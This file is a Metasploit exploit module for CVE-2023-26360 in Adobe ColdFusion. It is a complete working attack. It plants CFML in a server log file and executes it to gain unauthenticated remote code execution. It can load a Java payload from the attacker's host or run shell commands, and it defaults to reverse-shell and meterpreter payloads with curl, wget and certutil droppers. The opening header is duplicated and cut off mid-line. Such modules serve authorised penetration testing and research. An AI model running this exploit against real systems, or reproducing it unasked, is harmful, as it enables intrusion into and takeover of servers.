##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exp ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Adobe ColdFusion Unauthenticated Remote Code Execution',
'Description' => %q{
This module exploits a remote unauthenticated deserialization of untrusted data vulnerability in Adobe
ColdFusion 2021 Update 5 and earlier as well as ColdFusion 2018 Update 15 and earlier, in
order to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' => [
'sf', # MSF Exploit & Rapid7 Analysis
],
'References' => [
['CVE', '2023-26360'],
['URL', 'https://attackerkb.com/topics/F36ClHTTIQ/cve-2023-26360/rapid7-analysis']
],
'DisclosureDate' => '2023-03-14',
'Platform' => %w[java win linux unix],
'Arch' => [ARCH_JAVA, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => true, # Code execution as 'NT AUTHORITYSYSTEM' on Windows and 'nobody' on Linux.
'WfsDelay' => 30,
'Targets' => [
[
'Generic Java',
{
'Type' => :java,
'Platform' => 'java',
'Arch' => [ ARCH_JAVA ],
'DefaultOptions' => {
'PAYLOAD' => 'java/meterpreter/reverse_tcp'
}
},
],
[
'Windows Command',
{
'Type' => :cmd,
'Platform' => 'win',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
}
},
],
[
'Windows Dropper',
{
'Type' => :dropper,
'Platform' => 'win',
'Arch' => [ ARCH_X86, ARCH_X64 ],
'CmdStagerFlavor' => [ 'certutil', 'psh_invokewebrequest' ],
'DefaultOptions' => {
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Type' => :cmd,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_perl'
}
},
],
[
'Linux Dropper',
{
'Type' => :dropper,
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'CmdStagerFlavor' => [ 'curl', 'wget', 'bourne', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [
# The following artifacts will be left on disk:
# The compiled CFML class generated from the poisoned coldfusion-out.log (Note: the hash number will vary)
# * Windows: C:ColdFusion2021cfusionwwwrootWEB-INFcfclassescfcoldfusion2dout2elog376354580.class
# * Linux: /opt/ColdFusion2021/cfusion/wwwroot/WEB-INF/cfclasses/cfcoldfusion2dout2elog181815836.class
# If a dropper payload was used, a file with a random name may be left.
# * Windows: C:WindowsTempXXXXXX.exe
# * Linux: /tmp/XXXXXX
ARTIFACTS_ON_DISK,
# The following logs will contain IOCs:
# C:ColdFusion2021cfusionlogscoldfusion-out.log
# C:ColdFusion2021cfusionlogsexception.log
# C:ColdFusion2021cfusionlogsapplication.log
IOC_IN_LOGS
],
'RelatedModules' => [
'auxiliary/gather/adobe_coldfusion_fileread_cve_2023_26360'
]
}
)
)

register_options(
[
Opt::RPORT(8500),
OptString.new('URIPATH', [false, 'The URI to use for this exploit', '/']),
OptString.new('CFC_ENDPOINT', [true, 'The target ColdFusion Component (CFC) endpoint', '/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/iedit.cfc']),
OptString.new('CF_LOGFILE', [true, 'The target log file, relative to the wwwroot folder.', '../logs/coldfusion-out.log'])
]
)
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => '/'
)

return CheckCode::Unknown('Connection failed') unless res

# We cannot identify the ColdFusion version through a generic technique. Instead we use the Recog fingerprint
# to match a ColdFusion cookie, and use this information to detect ColdFusion as being present.
# https://github.com/rapid7/recog/blob/main/xml/http_cookies.xml#L69

if res.get_cookies =~ /(CFCLIENT_[^=]+|CFGLOBALS|CFID|CFTOKEN)=|.cfusion/
return CheckCode::Detected('ColdFusion detected but version number is unknown.')
end

CheckCode::Unknown
end

def exploit
unless datastore['CFC_ENDPOINT'].end_with?('.cfc')
fail_with(Failure::BadConfig, 'The CFC_ENDPOINT must point to a .cfc file')
end

case target['Type']
when :java
# Start the HTTP server
start_service

# Trigger a loadClass request via java.net.URLClassLoader
trigger_urlclassloader

# Handle the payload...
handler
when :cmd
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end

def on_request_uri(cli, _req)
if target['Type'] == :java
print_status('Received payload request, transmitting payload jar...')

send_response(cli, payload.encoded, {
'Content-Type' => 'application/java-archive',
'Connection' => 'close',
'Pragma' => 'no-cache'
})
else
super
end
end

def trigger_urlclassloader
# Here we construct a CFML payload to load a Java payload via URLClassLoader.

# NOTE: If our URL ends with / a XXX.class is loaded, if no trailing slash then a JAR is expected to be returned.

cf_url = Rex::Text.rand_text_alpha_lower(4)

srvhost = datastore['SRVHOST']

# Ensure SRVHOST is a routable IP address to our RHOST.
if Rex::Socket.addr_atoi(srvhost) == 0
srvhost = Rex::Socket.source_address(rhost)
end

# Create a URL pointing back to our HTTP server.
cfc_payload = "<cfset #{cf_url} = createObject('java','java.net.URL').init('http://#{srvhost}:#{datastore['SRVPORT']}')/>"

cf_reflectarray = Rex::Text.rand_text_alpha_lower(4)

# Get a reference to java.lang.reflect.Array so we can create a URL[] instance.
cfc_payload << "<cfset #{cf_reflectarray} = createObject('java','java.lang.reflect.Array')/>"

cf_array = Rex::Text.rand_text_alpha_lower(4)

# Create a URL[1] instance.
cfc_payload << "<cfset #{cf_array} = #{cf_reflectarray}.newInstance(#{cf_url}.getClass(),1)/>"

# Set the first element in the array to our URL.
cfc_payload << "<cfset #{cf_reflectarray}.set(#{cf_array},0,#{cf_url})/>"

cf_loader = Rex::Text.rand_text_alpha_lower(4)

# Create a URLClassLoader instance.
cfc_payload << "<cfset #{cf_loader} = createObject('java','java.net.URLClassLoader').init(#{cf_array},javaCast('null',''))/>"

# Load the remote JAR file and instantiate an instance of metasploit.Payload.
cfc_payload << "<cfset #{cf_loader}.loadClass('metasploit.Payload').newInstance().main(javaCast('null',''))/>"

execute_cfml(cfc_payload)
end

def execute_command(cmd, _opts = {})
cf_param = Rex::Text.rand_text_alpha_lower(4)

# If the cf_param is present in the HTTP requests www-form encoded data then proceed with the child tags.
cfc_payload = "<cfif IsDefined('form.#{cf_param}') is 'True'>"

# Set our cf_param with the data in the requests form data, this is the command to run.
cfc_payload << "<cfset #{cf_param}=form.#{cf_param}/>"

# Here we construct a CFML payload to stage the :cmd and :dropper commands...
shell_name = nil
shell_arg = nil

case target['Platform']
when 'win'
shell_name = 'cmd.exe'
shell_arg = '/C'
when 'linux', 'unix'
shell_name = '/bin/sh'
shell_arg = '-c'
end

cf_array = Rex::Text.rand_text_alpha_lower(4)

# Create an array of arguments to pass to exec()
cfc_payload << "<cfset #{cf_array}=['#{shell_name}','#{shell_arg}',#{cf_param}]/>"

cf_runtime = Rex::Text.rand_text_alpha_lower(4)

# Get a reference to the java.lang.Runtime class.
cfc_payload << "<cfobject action='create' type='java' class='java.lang.Runtime' name='#{cf_runtime}'/>"

# Call the static Runtime.exec method to execute our string array holding the command and the arguments.
cfc_payload << "<cfset #{cf_runtime}.getRuntime().exec(#{cf_array})/>"

# The end of the If tag.
cfc_payload << '</cfif>'

execute_cfml(cfc_payload, cf_param, cmd)
end

def execute_cfml(cfml, param = nil, param_data = nil)
cfc_payload = '<cftry>'

cfc_payload << cfml

cfc_payload << "<cfcatch type='any'>"

cfc_payload << '</cfcatch>'

cfc_payload << '<cffinally>'

# Clear the CF_LOGFILE which will contain this CFML code. We need to do this so we can repeatedly execute commands.
# GetCurrentTemplatePath returns 'C:ColdFusion2021cfusionwwwroot..logscoldfusion-out.log' as this is the
# template we are executing.
cfc_payload << "<cffile action='write' file='#GetCurrentTemplatePath()#' output=''></cffile>"

cfc_payload << '</cffinally>'

cfc_payload << '</cftry>'

# We can only log ~950 characters to a log file before the output is truncated, so we enforce a limit here.
unless cfc_payload.length < 950
fail_with(Failure::BadConfig, 'The CFC payload is too big to fit in the log file')
end

# We dont need to call a valid CFC method, so we just create a random method name to supply to the server.
cfc_method = Rex::Text.rand_text_alpha_lower(1..8)

# Perform the request that writes the cfc_payload to the CF_LOGFILE.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['CFC_ENDPOINT']),
'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },
'vars_post' => { '_variables' => "{#{cfc_payload}" }
)

unless res && res.code == 200 && res.body.include?('<title>Error</title>')
fail_with(Failure::UnexpectedReply, 'Failed to plant the payload in the ColdFusion output log file')
end

# The relative path from wwwroot to the CF_LOGFILE.
cflog_file = datastore['CF_LOGFILE']

# To construct the arbitrary file path from the attacker provided class name, we must insert 1 or 2 characters
# to satisfy how coldfusion.runtime.JSONUtils.convertToTemplateProxy extracts the class name.
if target['Platform'] == 'win'
classname = "#{Rex::Text.rand_text_alphanumeric(1)}#{cflog_file.gsub('/', '\')}"
else
classname = "#{Rex::Text.rand_text_alphanumeric(1)}/#{cflog_file}"
end

json_variables = "{"_metadata":{"classname":#{classname.to_json}},"_variables":[]}"

vars_post = { '_variables' => json_variables }

unless param.nil? || param_data.nil?
vars_post[param] = param_data
end

# Perform the request that executes the CFML we wrote to the CF_LOGFILE, while passing the shell command to be
# executed as a parameter which will in turn be read back out by the CFML in the cfc_payload.
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(datastore['CFC_ENDPOINT']),
'vars_get' => { 'method' => cfc_method, '_cfclient' => 'true' },
'vars_post' => vars_post
)

unless res && res.code == 200 && res.body.include?('<title>Error</title>')
fail_with(Failure::UnexpectedReply, 'Failed to execute the payload in the ColdFusion output log file')
end
end

end